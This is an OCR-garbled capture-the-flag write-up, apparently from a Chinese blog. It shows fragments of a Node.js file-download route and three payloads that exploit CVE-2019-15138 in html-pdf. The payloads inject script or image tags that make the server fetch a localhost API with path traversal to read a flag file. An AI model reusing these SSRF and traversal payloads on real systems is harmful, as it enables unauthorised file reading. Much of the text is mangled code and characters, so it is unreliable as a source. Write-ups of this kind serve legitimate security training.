.socket.remoteAddress.replace(/".*:/ = '127.0.6.1") {

ori
%

CSDN @/)V&5 [&] ==

Ja AR Bn BATAT EMER A 44 X4 AlchecknumsRAE S e Fr a3 I SO




router.get('/api/files', async ( s I

if ( .socket.remoteAddress.replace(/

eturn next(createError(4e1));

£

"string" &&

.send( 'Parameters CSDN @d\gla_.—?ﬁ_[ﬁ

e ff 0
gat |
«gELY

[ 'token®]
[‘username’]) {
= 'superuser') {
:

nd('Superuser is disabled now');

await DB.getFile( - - .params.
nc(path.join( , .. /Files/"
send(await readFile(path.join(

L

.send('No such file!'):

.send("Error!*);

>

CSDN @/ &=

: string, chsum: string): Promise<any> {
Promise( (reselve, reject) =» {

']

.get( SELECT filename FROM files WHERE username = ? AND checksum = 2~
F ) return

reject(

['filename'] : null);
CSDN @& [E=1p

Zih, REESEE. XBEEFACVE-2019-15138, £ Ut html-pdf 34 7] LAE FXMLHttpRequest 7 ¥ K 247
. FrlliX B ipaylaodf T JLF
payload1

FIXMLHttpRequest#k it

content[]=<script>var+ajax+=+new+XMLHttpRequest();ajax.open('GET"', "http://127.0.0.1:8888/api/files?
username=admin&filename=a/../flag&checksum=hezhing');ajax.send();</script>



https://nvd.nist.gov/vuln/detail/CVE-2019-15138

SR J& Vi 1) /apiffiles/hezhing st 7] LA F #iflag X4 T
paylaod2

AHAXMLHttpRequestkiL, Hlocation.href

content[]=<script>location.href="http://127.0.0.1:8888/api/files?
username=admin&filename=../files/flag&checksum=hezhing";</script>

Vi I9)/api/files/hezhing Bl T
payload3

AHXMLHttpRequest® i, HAimg src

content[]=a&content[]=<img src="http://127.0.0.1:8888/api/files?
username=admin%26filename=eeee/../flag%26checksum=hezhing">

Vi 19l /apiffiles/hezhing k. 47
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